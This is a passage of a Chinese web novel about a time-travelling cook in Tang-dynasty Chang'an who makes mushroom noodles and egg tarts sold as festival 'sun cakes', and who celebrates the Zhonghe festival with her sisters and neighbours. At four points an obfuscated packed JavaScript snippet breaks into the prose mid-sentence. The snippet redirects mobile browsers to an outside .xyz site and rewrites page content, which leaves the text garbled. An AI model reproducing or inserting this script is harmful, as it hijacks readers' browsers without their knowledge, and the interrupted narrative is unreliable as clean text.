炸好的菌油渣香气浓郁,被封进罐子也依然香飘十里,没过多久阿锦阿宁俩人便闻着香味儿回来了。 满鼻子都是香浓的菌香油香,阿宁幸福得快要晕过去,阿锦则把这味道记在心里,蹲在石凳旁边,眼巴巴瞧着崔时钰徒手把菌子撕成略粗的菌丝。 她好奇发问:“阿姊,这蕈子真能比肉还香?” 没想到阿锦竟真把自己当初随口一说的烹饪经记在心里,崔时钰微微挑眉,思索起该如何给妹妹解释。 作为厨师,她学习过专业课程,自然知晓其中原理,菌菇里含有丰富的天然鲜味成分,在高温烹饪过程中会产生独特的类似烤肉的焦香,即美拉德反应,也就是阿锦方才提到的“蕈子比肉还香”了。 可是这些东西要怎么告诉她这个异朝异代的妹妹呢? 好在这时,一旁的阿宁蹦蹦跳跳地跑来解了惑:“是不是因为蕈子厚厚的,吃起来很像肉呀?” 阿锦看她片刻,若有所思地点了点头,“有道理。”说完还不忘打趣妹妹“一沾吃食便聪明起来了”。 阿宁闻言哼了一声,骄傲叉腰:“我不沾吃食也很聪明!” 这倒是真的,小姑娘真没自夸。 崔时钰早就发现自己的两个妹妹聪慧过人,特别是阿宁,比同龄孩子聪明许多,没有先生教导也自学了《千字文》和《三字经》,背诵起来的熟练程度让崔时钰这个活了两辈子的人都自愧不如。 崔时锦垂眸看着叉腰的妹妹,唇角不明显地勾了一下,“这位聪明的小小娘子,今日的《三字经》背给我了么?” 阿宁耍无赖道:“我一会儿还要吃比肉还香的蕈子,吃完再背嘛!” 崔时钰歪头看着两个打打闹闹的妹妹,笑着摇摇头,继续手头的活计。 菌子须得手撕,不能用刀切,否则会沾染异味。为防热油溅出,她动作飞快地将撕成粗丝的松菌草菇羊肚菌倒入滚油,只听刺啦响亮一声,油花与香气一同炸开。 听到动静,两个妹妹也不闹了,认真趴在灶边看阿姊做饭。 阿宁抽着鼻子道:“好香!” 菌菇面做起来简单,煎出菌油后添水熬出琥珀色的清亮汤底,等到菌汤咕嘟咕嘟冒起了泡,把面条抻好放进去,盖上锅盖焖煮半盏茶的功夫,撒一把翠绿芫荽、点几滴胡麻油,出锅。 锅盖掀开的瞬间,蒸腾的白雾裹挟着菌子独特的鲜香扑面而来,阿锦和阿宁不约而同吞了吞口水,像两只嗅到鱼腥的小猫似的凑了过来。 看着面前一锅鲜香的菌菇素面,崔时锦竟有些失语。 淡褐色的汤底清澈见底,泛着莹润的油光,撕成丝的各种蕈子或是沉在锅底,或是浮在汤面;手抻的面条吸饱了汤汁,根根分明;金黄的菌油从松菌边缘缓缓渗出,在汤面上绽出朵朵圆晕,配着翠生生的芫荽,好看极了。 崔时锦形容不出自己此刻的感受,觉得自己竟在一锅简单的汤面里看到了一幅水墨画。 ——这就是“色香味”排在首位的“色”吗? 崔时钰倒是没有妹妹们的闲情逸致,忙活这么半天,她早已饿了,用长筷轻轻搅动锅底把沉底的菌菇翻上来,给自己和两个妹妹一人盛了一满碗面。 “快吃吧。” “谢谢阿姊。”崔时锦接过面碗,先捧着碗喝了口汤。 菌菇汤刚触到舌尖就化作了一汪鲜汁,看似清澈的汤里藏着各种菌子的精华,喝起来竟然有肉汤般的丰腴感。 藏在面底的羊肚菌碎是最好吃的,这些带着细密纹路的乳黄色碎末每一粒都暗藏鲜味,嚼着嚼着就泛出堪比肉香的醇厚,配着劲道顺滑的面条,让人忍不住一口接一口。 阿宁吃得更是欢快,直接挑起一筷子面,面条吸饱了菌汤,晶莹的汤汁顺着面身缓缓滑落,她连忙张开嘴去接。 入口瞬间,她先尝到了汤汁的鲜味,又嚼到一丝不知叫做何名的蕈子,吃起来的口感像嫩鸡肉,味道却似甘蔗般的清甜,鲜得人眉毛都要掉了。 面条也是筋道弹牙,每嚼一下都有鲜美菌汁从面芯里迸出来,叫人舍不得停嘴。 好好吃啊! 崔时宁边嗦面条边想,她还从没有吃过这么好吃的汤饼,太好吃了!就是有人用一碗羊汤来跟她换她都不同意呢! 菌汤面热,两个妹妹吃得额头冒汗,鼻尖上都冒出了细密的汗珠。 阿宁含着半截面条含糊道:“阿姊,这汤饼也太好吃了!” 看着两个妹妹嗦面条嗦得不亦乐乎,正捧着碗小口喝汤的崔时钰笑而不语。 更好吃的还在后面呢——那小半罐菌油渣,她准备留着明早给她们拌粥吃。 菌油渣做起来更简单,用油煎煎炸炸便成了,味道却是不容小觑。 冷油下锅,小火慢炸至菌丝蜷缩成金黄小卷,捞出沥干,剩下的便是鲜美的菌油。 炸干的菌丝外观是黑褐色的细碎渣滓,像枯树枝般其貌不扬,味道却别有洞天,焦香混合着类似炭烤松露的香气,最后泛起一丝甜津津的回甘,极鲜极美。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639846|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 无论是撒一撮在清汤面里,还是混进肉馅包饺子,或者是直接嚼着当零食吃,味道都十分美妙。 但崔时钰最想做的,还是拌进粥里给两个妹妹当作明日的朝食。 自从贩饼以来,姐妹三人的朝食一直都是酱香饼,甚至偶尔连中午都会吃顿饼子,两个妹妹虽然没什么异议,啃饼子也啃得津津有味,但崔时钰却已经把调整伙食的事放在心上了——再好吃也不能老吃一样东西不是? 菌油渣拌粥就是个不错的选择。 不知不觉,阿宁碗中的面已见底,却舍不得放下筷子,自个捧着碗去灶边盛了。 阿锦这时也吃完了,比妹妹动作更快地移动到锅边,先给阿宁盛了一碗,又给自己盛了半碗,看了眼锅里,扭头对崔时钰道:“剩下的一碗阿姊你吃。” 崔时钰笑着点点头,低头继续吃菌菇面,脑子里却忍不住琢磨起方才煮面时瞟了一眼的黄历。 中和节要到了。 天气已由寒转暖,正是万物复苏、农事开始之时,从前的唐人们觉得这时很适合举办个什么节日来庆祝,于是中和节便应运而生。 这天人们会祭祀勾芒神祈求农业丰收,还会用青色口袋装上各种各样的粮食和瓜果种子,互相赠送,以预祝一年五谷丰登。 听说在皇宫内,王公贵族也会献上春服,表达对圣人的忠诚;而同样的,圣人会赐给大臣尺子和衣服,以表达对臣下的关怀。 不过崔时钰对这些东西并不算感兴趣,皇宫内的事离她太远了,她最关心中和节这天大家吃什么—— 太阳糕。 太阳糕是中和节的传统糕点,用糯米粉制作而成,成糕顶部印有太阳图案,有的糕上还会塑有小鸡或乌鸦形象。这些图案都是日神的象征,人们通过祭祀太阳糕来表达对太阳神的敬意,以求万事如意、丰收吉祥。 见自家阿姊方才瞧了一眼黄历,阿锦也想到了什么,道:“中和节快到了,今年各坊好像还要献太阳糕祭日神。” 过节对小孩子来说算是件不折不扣的新鲜事,一听姐姐们说起中和节,阿宁便来了精神,高兴道:“去年王五娘做的太阳糕硬得能砸胡桃呢!” ……也不知在兴奋什么。 崔时钰笑笑,戳着碗里的菌子,忽然眼睛一亮。 太阳糕是米粉混上蜜糖做的甜饼,她何不创新一下,在饼皮里调上蛋奶馅做成蛋挞,岂不是更好?况且蛋挞滚圆金黄的模样也极似太阳。 至于那略烤焦的焦糖黑点……不正好可以当作太阳黑子吗? 崔时钰被自己的天才想法折服了。 阿锦看着她问:“阿姊可是想到什么了?” 崔时钰朝她神秘一笑:“明日我去找九娘买些牛乳回来,给你俩做样新点心。” 她的脑海里已经浮现出金黄的蛋挞在烤炉里鼓起的模样了。 ——中和节的商机,她绝对不会错过。 24. 酥皮蛋挞 晨光熹微,天还没完全亮,崔家小院里的庖厨里便已透出一缕微光。 崔时钰正挽袖子站在灶旁准备今日的朝食,菌油渣拌粥。 灶膛里柴火烧得噼啪轻响,锅里的米粥已熬得浓稠,咕嘟咕嘟冒着细密气泡,米粒开花,汤色洁白,粥米的清香溢满了整间庖厨。 崔时钰将昨日炸好的菌油渣分出今日要吃的量,连油带渣倾入粥中,撒一小把翠绿葱花,热气一激,葱香混着菌鲜米香直冲鼻腔。 随着木勺搅拌,原本洁白如乳的粥米混入了金黄菌油,炸得焦香酥脆的菌渣半沉半浮,葱花点缀其间,碧绿鲜亮,白粥油光点点,在晨光里泛着莹润如脂的光泽。 菌油渣拌粥的香气极浓郁,菌菇的鲜香混着猪油的醇厚,又有米粥本身的甘甜,润物细无声,顺着清早的晨风飘出院子,惹得隔壁院子的娇娇抱着同样在睡梦中王五娘直抽鼻子。 因连着早起出摊的日子已经数不胜数,阿锦和阿宁都习惯了现在的生物钟,哪怕知道今日不用出摊,为吃这碗菌油渣拌粥也早早从床上爬了起来。 洗漱完毕,阿锦揉着眼睛趿拉着布鞋蹭到灶台边,整个人还带着晨起的迷糊,然而一闻到面前的米粥香气,眼神瞬间变得清明。 往粥里放些菌油渣,竟能这么香? 她感觉自己又在阿姊这里学到了新知识。 阿宁直接搂住崔时钰的腰,眼巴巴盯着锅里咕嘟冒泡的白粥。 阿姊又给她们做好吃的了!光是看着都觉得好香,好好喝啊! 粥面上浮着金灿灿的菌油渣子,炸得酥脆的菌子碎混着碧绿葱花在米汤里沉浮,被热气一烘,香气越发浓郁。 崔时钰扭头一看,两个妹妹已捧着碗排排坐好,一副乖巧等待投喂的模样。她笑笑,手腕动了动,将米粥盛出满满三碗。 “谢谢阿姊!” 异口同声地道谢完,崔时锦和崔时宁马上捧着粥碗大快朵颐起来。 热粥滑过喉咙,米香绵软,裹挟着浓香的菌油,暖意从胃里漫向四肢百骸。偶尔还能咬到里面炸得焦酥微韧的菌油渣,稍一咀嚼便迸出满口蕈子特有的焦香鲜甜。 觉得口里淡了,再往粥里拌些阿姊腌的清脆爽口的萝卜丁——是酱香饼同款,一勺粥配着两三粒萝卜丁,崔时锦这顿朝食吃得满足无比。 再去瞧阿宁,小姑娘连勺子都顾不上用,捧着碗把米粥喝得见底,还意犹未尽地咂嘴:“阿姊,明日咱们朝食还吃这个好不好?” “行。”崔时钰笑容满是宠溺,想了想陶罐里菌油渣的余量,大约还能再吃上两三顿。 吃完也不怕,再过几日便是中和节,那时候她们姐妹三个又有新的吃食了。 吃饱喝足,阿锦和阿宁不约而同都有些犯困,打起了哈欠,哄着两个妹妹上床睡回笼觉,崔时钰独自一人来到院里的土炉旁。 崔家的土炉就垒在院子角落,半人高,圆肚窄口,外层糊着黄泥混稻草的厚浆,远看像一只蹲着的不知名小兽。 崔时钰已经不记得这土炉是什么时候砌成的了,似乎打崔娘子记事起,这东西便一直陪她长大,是她最沉默的朋友。 可惜的是崔娘子不喜下厨,甚少和这位朋友交流,自从父母去世后,这土炉便再没用过,内部积攒起好几层厚厚的灰尘。 崔时钰将里面清理干净,去除杂物和灰烬,又仔仔细细将土炉内外用布巾擦了几遍,这才放心地做起蛋挞——没错,她已经把做蛋挞的各种食材都备好了。 用来制作糕点点心的面粉需比平常吃的面粉更精细,崔时钰将面粉仔细筛了好几遍,指腹捻了捻,确定面粉细密无颗粒,这才开始揉制酥皮。 做蛋挞,黄油可酥油也可,这时候没有黄油,便只能用酥油了。崔时钰将酥油隔水化开后掺入细面,掌心贴着案板反复推揉,直至面团光滑如绸。 接着便是开酥的关键:将面团擀成薄片,叠起,擀开,再叠起,再擀开……如此重复数次,面皮层层交叠,蛋挞酥皮的雏形就成了。 看着叠得整整齐齐的面团,崔时钰忍不住想,若是阿锦现下没睡着,定要问她这面皮是如何做出这副模样的;而阿宁大约会和她说:“阿姊,这面皮像花瓣似的,真好看!” 想到妹妹们,崔时钰越发动力十足,转身从柜里取出数只小瓷碗。 烤蛋挞需要的现代的烘焙模具,在唐朝自然是没有的,好在家里还有些小个瓷碗,崔时钰便用它们作为蛋挞模具的代替品。 她在瓷碗内壁涂一层薄油,防止蛋挞粘附,将面皮铺上去,用手指捏出边缘褶皱,再分别往酥皮小盏内填入兑了牛乳和糖,搅拌得丝滑绵密的蛋液。 在唐朝,牛乳是稀罕物,这牛乳是从方九娘那儿买的,八十文一斤,着实不算便宜。毕竟是头次卖这东西,崔时钰只买了两斤试水。 对于现在的她来说,投资一百多文钱已完全不在话下,因而这钱花得很是坦然。 虽说她现在离“有钱人”还差得太远,但比起刚穿来那时候连吃个鸡蛋都要斤斤计较还是强多了。 蛋液只注入九分满,留出烘烤后膨胀的余地,崔时钰蹲下*身,将蛋挞一一码齐送入炉中,点燃火石引燃干树叶,再添几块木柴,看火焰由橘转青才满意点头,反手合上炉门。 柴火噼啪,热气蒸腾,不多时,甜香便从炉口溢出,混着蛋香与奶香茸茸地钻入鼻腔。 这味道和上辈子做过的蛋挞几乎别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这挞皮比她们想象中还要酥,刚咬下去便落了两个小姑娘满手的金黄碎屑,蛋羹裹挟着酥油的浓郁香气,绵密柔滑,几乎入口即化,牛乳的醇厚与白糖的甘甜相互衬托,甜而不腻,奶香十足。 阿宁吃得眼神发亮,这次倒是没叫错名字,“阿姊做的这蛋挞比皇宫里的点心还好吃!” 崔时钰哑然失笑,伸手轻轻拂去妹妹颊边的一小块酥皮屑,逗她道:“我们家阿宁什么时候吃了皇宫里的点心了,怎的也没给两个阿姊带回来一份?” 阿宁理直气壮道:“宫里的点心我没吃过,但我知道阿姊做的就是最好吃的!” 崔时钰和阿锦都被逗笑了。 尽管两个妹妹对蛋挞的反响颇为不错,但崔时钰心里仍有些没底,于是便把娇娇喊了过来,小姑娘一口气连吃三个——用王五娘的话来说,这事儿比太阳打北边出来还要难得。 得了这位挑食少女的肯定,崔时钰这才把剩下的蛋挞装进保温食盒,并用自己的小学生字体写了个简易的招牌“太阳挞糕”,带上两个妹妹去夜市摆摊了。 25. 夜市摆摊 华灯初上,集市上人潮涌动。 再过两三日才是中和节,长安百姓却早已按捺不住,纷纷踏青出游,上街闲逛。 夜市人满为患,崔时钰拎着食盒转悠半天才在角落寻到一处位置,甫一落脚便大声吆喝起来。 “太阳挞糕,祭日赐福,吉祥如意,十文一枚——” 站在一旁的阿锦默默念着这句吆喝,打算待会儿替阿姊也喊两句。 因要以太阳糕为噱头,崔时钰这次没给蛋挞起什么类似“金乌包月”“金玉满堂”之类的雅名,简简单单的“太阳挞糕”,既蹭了中和节太阳糕的热度,又有自己的创新,简单明了。 果然没过多久便有人上前询问。 “小娘子,这‘太阳挞糕’是何物?怎的从未见过?” 一位头戴幞头的郎君驻足,好奇地盯着摊上金灿灿的蛋挞,“某只知晓‘太阳糕’,却从未听说过这‘太阳挞糕’。” 崔时钰笑吟吟捧起一枚蛋挞,介绍道:“郎君有所不知,此乃古法‘太阳挞糕’,以酥皮为天,蛋液为日,烘烤成形,恰似旭日东升。中和节祭日食此糕,可纳祥瑞,保一年顺遂。” 这人顺着崔时钰手指方向看去,只见蛋挞在灯笼下泛着诱人的光泽,酥皮层层绽开如旭日金辉,正中蛋芯圆润饱满,宛如一轮小太阳,倒是真应了“太阳挞糕”的名头。 幞头郎君本就为这股子甜香折服,听了崔时钰这番吉祥话,终于没禁受住诱惑,从钱袋子里数出二十枚铜钱,“好好,劳烦小娘子给我来两个,我带回去给家母尝尝,若是好的话,她老人家今年就不必费心做太阳糕了。” “好嘞。”崔时钰像包酱香饼一样用干荷叶裹好两枚蛋挞,递过去,不忘提醒,“郎君小心轻拿,否则酥皮碎裂便不好看了。” “多谢小娘子提醒。”幞头郎君美滋滋地将蛋挞揣怀里离开了。 和之前一样,此次夜市摆摊崔时钰同样做了功课,知道集市上售卖的吃食,特别是甜味小食都有哪些: 蔗浆米锦糕,即将糯米蒸熟捣烂,压成方糕后淋上蔗糖熬的糖浆,小贩常推着木轮车沿街叫卖,三文钱一块;糖脆焦堆,形似现代沙琪玛,但更蓬松,孩子们最爱围着买,一文钱一个;杏酪蒸酥,掺了杏仁粉蒸出来的奶黄色米糕,表面点缀着腌梅子碎,五文钱就能用荷叶包走三块;小镜糕,以糯米粉搭配白糖及胡麻、瓜子仁等坚果碎制成,偶尔还会点缀些玫瑰酱。 还有粔籹、甑糕、糖拨浪鼓、蜜渍梨条、豆沙糕……各种小食不计其数。 这些吃食都有一个特点,那便是价格低廉,崔时钰看了看,最贵也不会超过六文。和它们相比,她卖的十文一只的酥皮蛋挞着实不算便宜。 但崔时钰并不打算降价:牛乳多贵啊!其他小摊卖的甜点有几个能往里面放牛乳的? 况且鸡蛋白糖酥油也都不是什么便宜物,再加上炭火钱和手工费……这十文钱是不折不扣的物有所值。 因着价贵,她原本以为蛋挞的售卖速度会没酱香饼那么快,没想到那位幞头郎君前脚刚走,后脚就有新客人来了。 新客人是位头梳高髻的妇人,一句废话没有,直接买下四只,付完钱当着崔时钰的面就捧起一枚蛋挞咬了一口,顿时瞪大一双丹凤眼:“天爷,世上竟有如此美味!” 听得阿宁在一旁连连点头:嗯嗯嗯,对,吃了阿姊做的吃食的人就该是这个反应! 俗话说,当有几个客人到来之后,更多的客人往往也会相继而来。那女郎走后,崔时钰的“太阳挞糕”摊位前又来了不少人。 一个穿着粗布短打的脚夫排在队伍最前头,掏出十文钱递给阿锦,“小娘子,给我来一个尝尝!” 崔时钰麻利地用干荷叶好递过去,那脚夫接过,大口咬下,酥皮碎裂的清脆声响清晰可闻。 酥皮脆,里头的蛋芯却颤巍巍的,软滑可口,舌尖一抿便化开,牛乳的醇香混着白糖的清甜,别提有多好吃了。 “这也太香了……”脚夫哪里吃过这样好吃的精致甜点,三两口就把蛋挞吃进肚内,意犹未尽地舔着嘴边的酥皮渣,“再来两个!我要带回去给我家娘子和儿子尝尝!” 队伍里顿时响起一片笑声。 “真有那么好吃?”一个书生模样的年轻人探头问道。 “骗你作甚?”脚夫拍着胸脯,“我走南闯北这么多年,就没吃过这么酥这么嫩的点心!再说了,中和节本就是要吃太阳糕的,吃哪个太阳糕不是吃!” 书生默了,心想:他说得好有道理哦。 于是这一嗓子喊出去,原本还在观望的路人纷纷加入队伍。 “给我也来一个!” “我要五个。” 崔时钰顿时忙碌起来,一堆人催着,她手上的动作却丝毫不乱,还有空瞧了一眼,只见队伍已经拐到了对面铺子,新来的客人还在不断涌入。 得,看来明日得找九娘再多买些牛乳了。 * 对街,于记酒楼二楼,几个胡人推开雕花窗,指着崔时钰的摊位叽里咕噜一阵兴奋议论。 不一会儿,几人纷纷下楼,比划着要买“太阳挞糕”,竟是连酒楼里的吃食也不点了。 伙计关小二觑着自家掌柜于博阳的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651257|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色,忍不住嘀咕:“东家,要不咱也做些太阳糕出摊去卖?我瞧着那小娘子卖的太阳糕不过就是用鸡蛋与牛乳做的,咱们到时候做出来的肯定比她更好。” 于博阳脸色微沉,没说话。 做饭这回事,外行看热闹,内行看门道。 关小二一个跑堂的伙计不知道,他却是清楚的,那卖太阳糕的小娘子与他们隔了足有一条街,他们又身处二楼,如此远的距离,那太阳糕的甜香依然透过窗户飘了满屋。 况且据他方才观察,来买那太阳挞糕的大多都是女郎与幼童,他做了这么多年酒楼生意,怎会不知唯女子与小人嘴最刁也! 能让这些人为之折服,这般味美,其中必有门道,岂是能轻而易举学来的? 不过,他倒是有了另一个主意。 于博阳朝关小二勾勾手指,示意对方凑上前来,“你明日……” 话语声淹没在喧嚣之中。 除了于记酒楼,盯上崔时钰的还有另一拨人。 绸缎铺子斜对角,殷氏正死死盯着崔时钰摊前的人群,保养得宜的脸在灯笼下泛着青白。 华灯初上,集市上某一偏僻的角落却排起长龙,她那外甥女口袋里早已装满铜钱,正望向络绎不绝的人群叮嘱道:“诸位慢些吃,仔细烫着。” 殷氏看着面前的景象,说不清心中是个什么感受,只觉得烦闷得很,偏生这时候田子恒拽着她袖子闹腾:“阿娘阿娘,我想吃那个金灿灿的糕!” 看着自家儿子胖得快要瞧不见眼睛的肉脸,殷氏头一次生出了厌烦的想法。 想到自家儿子连个“太阳挞糕”都说不明白,还“那个金灿灿的糕”,她越发心情不虞,一巴掌拍开儿子肥硕的胳膊,“吃吃吃,一天到晚就知道吃,你能不能有点出息!” 他们一家三口本就好吃,多年前就曾立志吃遍大江南北,也一直在践行如此志向。前段时日听说西市早市出了个极好吃的饼子,殷氏便让田二郎去买,没想到那饼摊却是自家外甥女开的。 之前他们被崔时钰拎着刀吓唬闹出的不快仍然历历在目,这饼子断是吃不得了。 无缘一尝大名鼎鼎的酱香热饼,殷氏心中本就不快,带着郎君与儿子来夜市寻吃,竟也碰到了崔时钰! 真真是冤家路窄。 殷氏越想越气,嗓门越发尖利:“不过是些下等吃食,也值得这般吹捧!” 可惜这话淹没在客人们的赞叹声里,连个回响都没听到。 担心娘子再度发作,田二郎向车夫使了个眼神。 车帘落下,田家马车逃也似地挤出了夜市。 26. 中和节至 崔时钰正在灶台前做中和汤。 今日是中和节,按长安习俗,家家户户要饮中和汤。 这种汤乃中和节的传统汤品,由肉、笋和豆腐熬制而成,寓意天地人三才和谐共生,象征着家庭和睦团圆,味道也很鲜美。 陶罐里的菌油渣已经被三人连着拌粥吃了好几日,早就被吃了个一干二净,在这接档的档口,中和汤出现得正是时候。 崔时钰也是头一回做这中和汤,因而备料很是讲究,特买了地里刚长出来的嫩笋、一小块冬腌火腿,还有王五娘豆腐铺里点得极好的卤水豆腐,除却这些,又在高记肉行抓了一小把晒干的瑶柱用来给汤提鲜。 她净了手,先拿起那几只还挂着水珠的春笋,手法娴熟地剥去外层硬壳,露出里面白玉般莹白的嫩笋肉,用菜刀切成薄如蝉翼的笋片。 因着只买了一小块火腿,表面的氧化层已被提前削去了,崔时钰不必再费工夫,只将暗红色的腿肉切成细丝,每一根都切得粗细均匀,长短一致;又将豆腐切成四方小块;干瑶柱泡发,用刀背拍成细茸。 锅烧热,下猪油,待油化开滑入瑶柱茸,再倒入备好的井水,水滚开下火腿慢炖,等到汤色变得乳白,这才将笋片与豆腐一股脑儿放进去。 都是时令鲜食,这样熬出来的一锅汤就没有不好喝的道理。 火腿与瑶柱混合的香气渐渐漫上来,咸鲜中带着若隐若无的甜味,清新的笋香、豆腐香与肉类的咸香交融,很是鲜美。 锅内的食材都无需长时间炖煮,炖上小半个时辰便差不多,出锅前撒一小撮盐、淋几滴芝麻油,这一锅简单和美的中和汤便好了。 崔时钰端起碗尝了一口。 火腿的鲜香已完全融入汤内,带着瑶柱的鲜甜,缓缓在舌尖化开;吃口笋片,微脆清甜;再来块嫩滑的豆腐,吸饱了汤汁的所有精华,温柔熨帖地滑入胃袋。 阿锦和阿宁两人排排坐好,一人捧着一只碗大口大口喝汤,就连动作都出齐的一致。 直到一碗汤喝完,阿宁用木勺认认真真将碗底的瑶柱茸刮吃了,捧着碗感叹道:“好想天天都过节啊。” “你这个愿望不难实现。”阿锦把姐姐还有妹妹的碗抽过来,和自己的并在一起,走向井边,边走边扭头道:“过了中和节,马上又是上巳节、佛诞节、端午节,好吃的多着呢。” “太好啦!”听说有好吃的,阿宁高兴得快要蹦起来,可惜肚子装得太满,蹦不动,但还是小小的跳了一下。 “有好吃的喽!” 崔时钰笑看着两个妹妹,顺手将刚做好的蛋挞放进炉子。 蛋挞大受好评,受欢迎程度比起酱香饼有过之无不及,今日又正当节日,她当然不会错过这大好商机,预备着烤好几炉便带出去卖。 便在此时,院门被轻轻叩响。 隔壁王五娘领着孙女娇娇过来了。 一老一小各自挎着竹篮笑吟吟进门,篮里躺着几枚染红的鸡蛋,还有绣着五毒的香囊——这也是中和节的习俗,“献生子”。 “阿钰,中和安康,给你们三姊妹送‘生子’来啦——哎哟!什么味儿这么香?” “多谢婶娘。”崔时钰连忙双手接过,拉着阿锦和阿宁,一同对王五娘道了中和安康,还不忘解释这味道的来源,“我们姊妹三个方才刚用过中和汤,婶娘和娇娇若是来得再早些,一准儿也能吃到了。” 听她这么说,王五娘一拍大腿,憾道:“早知你做了,我便不和娇娇喝我自个做的咸肉汤了!” 娇娇自然比王五娘更遗憾,连连点头,小声嘀咕:“阿婆今年做的中和汤比往年都要咸……” 直把王五娘说得不好意思。 两边人就笑。 崔时钰和她们乐了片刻,忽地想起什么,让王五娘稍等,回屋从枕头旁边取出一枚绣着图案的青色口袋。 这便是她做的“生子”。 崔娘子绣技平平,崔时钰更是全部技能点都点在了厨艺方面,做出来的口袋也不过是勉强可看,绝对称不上精致,但胜在创新:她锈了一朵四叶草在上面。 除了这象征着幸运的四叶草,口袋里面的内容也很丰富,装有各种各样的粮食:稻、麦、黍、粟,还有崔时钰购来的菜蔬种子以及几颗金丝蜜枣。 王五娘接过这一小包鼓鼓囊囊的种子口袋,似乎很是喜欢,眼角的皱纹都笑溢出来了。然而笑着笑着,面上忽然浮起些许哀愁神色。 “你这‘生子’同你阿娘当初做的一样,都塞得满满当当的,一点也不抠搜。” 王五娘说着叹口气:“我真是想你阿娘了。” 崔时钰沉默了。 就在她思索该如何安慰对方之时,王五娘倒是先笑起来,拍了拍她的手道:“怪我怪我,大过节的,偏提起这些伤心事。你阿娘若是在天上看到,你和阿锦阿宁现在的日子过得这样好,定会很开怀的。” “阿娘若是知道婶娘您如此记挂她,也一定会很高兴的。”崔时钰如是说道。 听了两个大人的话,阿锦瘪瘪嘴,溜进屋里,把自己给故去爹娘准备的生子口袋里又添了些种子。 阿宁倒是少年不识愁滋味,打一开始就没听和阿姊和婶娘的谈话,和娇娇互道安康后俩小孩儿便玩了起来,此刻正在交流中和汤的喝后感。 “我阿姊今年做的中和汤里放了瑶柱,喝起来可鲜了,比我这么多年喝过的中和汤加在一起还要好喝。娇娇,婶娘给你做的中和汤是什么味道呀?” 娇娇目光哀怨:“就是咸……” 正寒暄着,几人又听门外脆生生一嗓:“钰娘,中和安康!” 方九娘携着一身乳香迈门而入,身后跟着个垂髫小儿,正羞怯地揪着母亲衣角,正是她的儿子伍儿。 方九娘和王五娘打过招呼,将自己做的生子递给崔时钰,“我今年换了新种子,里面甜瓜、桃子、李子、杏子种子,哦,还有石榴种子。” 崔时钰接过一闻,打趣道:“难怪闻起来有股果香,若是将这包种子种在院里,不得结出十斤硕果?” 她又拉着方九娘的手道:“九娘,你卖的牛乳着实极好,若非你的牛乳,太阳挞糕未必能做出如此味道。” 崔时钰这番话说得真心实意,并非全是恭维。 为保新鲜度,方九娘卖的牛乳都是每日晨起现挤的,挤出来的牛乳色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675867|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽洁白,质地均匀,口感醇厚,一看便知是来自身体健康、饲养良好的奶牛。 正因如此,她才连其他乳坊都没考察,便直接和方九娘订下了这单生意。 这番话夸得方九娘脸蛋微红,她又夸了回来:“是钰娘你的手艺好,先是做出了风靡全城的饼子,现又将太阳挞糕做出了名头,可谓是一挞难求,如今谁不知道长安城里出了个崔小厨娘?” 说完还看向王五娘:“婶娘您说是不是?” “是是,太是了!” 于是王五娘又把崔时钰大夸特夸了一顿。 这些赞美之言崔时钰上辈子听过无数,当初还有些飘飘然,现在已很能保持低调谦虚的心态了,对几人笑道:“谁说一挞难求?等着。” 说着将刚烤好的蛋挞从炉中取出,大方地给院儿里的人各分一块,边分边念念有词:“来来来,中和节吃太阳糕,太阳高升步步高。大家都吃。” 王五娘笑眯眯接过,刚咬下,酥松甜脆的酥皮便簌簌而落。 刚从炉子里拿出的蛋挞内馅还微微热烫,口感极好,蛋香混着醇香牛乳在口腔绽开,香甜可口。 王五娘不是第一次吃太阳挞糕了,味道仍像初吃时那样惊艳,她咂着嘴叹道:“好吃,好吃啊!我活了快六十岁,就没吃过这么好吃的点心!” 对这酥皮蛋挞,孩子们更是喜爱,小心翼翼地捧着,活像捧着什么稀世珍宝。 阿锦阿宁娇娇伍儿四个孩子中,只有伍儿还不曾尝过蛋挞的滋味,他盯着手掌上挞糕酥脆的挞皮、颤巍巍的蛋馅,还有表面凝着的几块焦糖斑,小心翼翼咬了一口。 下一秒眼睛便亮了起来。 他年岁小,对食物的味道评价不出什么,只觉得又酥又香又甜,好吃极了,就连以往喝腻了的牛乳奶味都觉得十分美味可口。 阿宁似乎对这个和自己岁数差不多大的小朋友很感兴趣,边吃蛋挞边凑到他身边问:“怎么样,甜不甜?” “甜。”伍儿连连点头,含混不清地答着,“好好吃哦。” 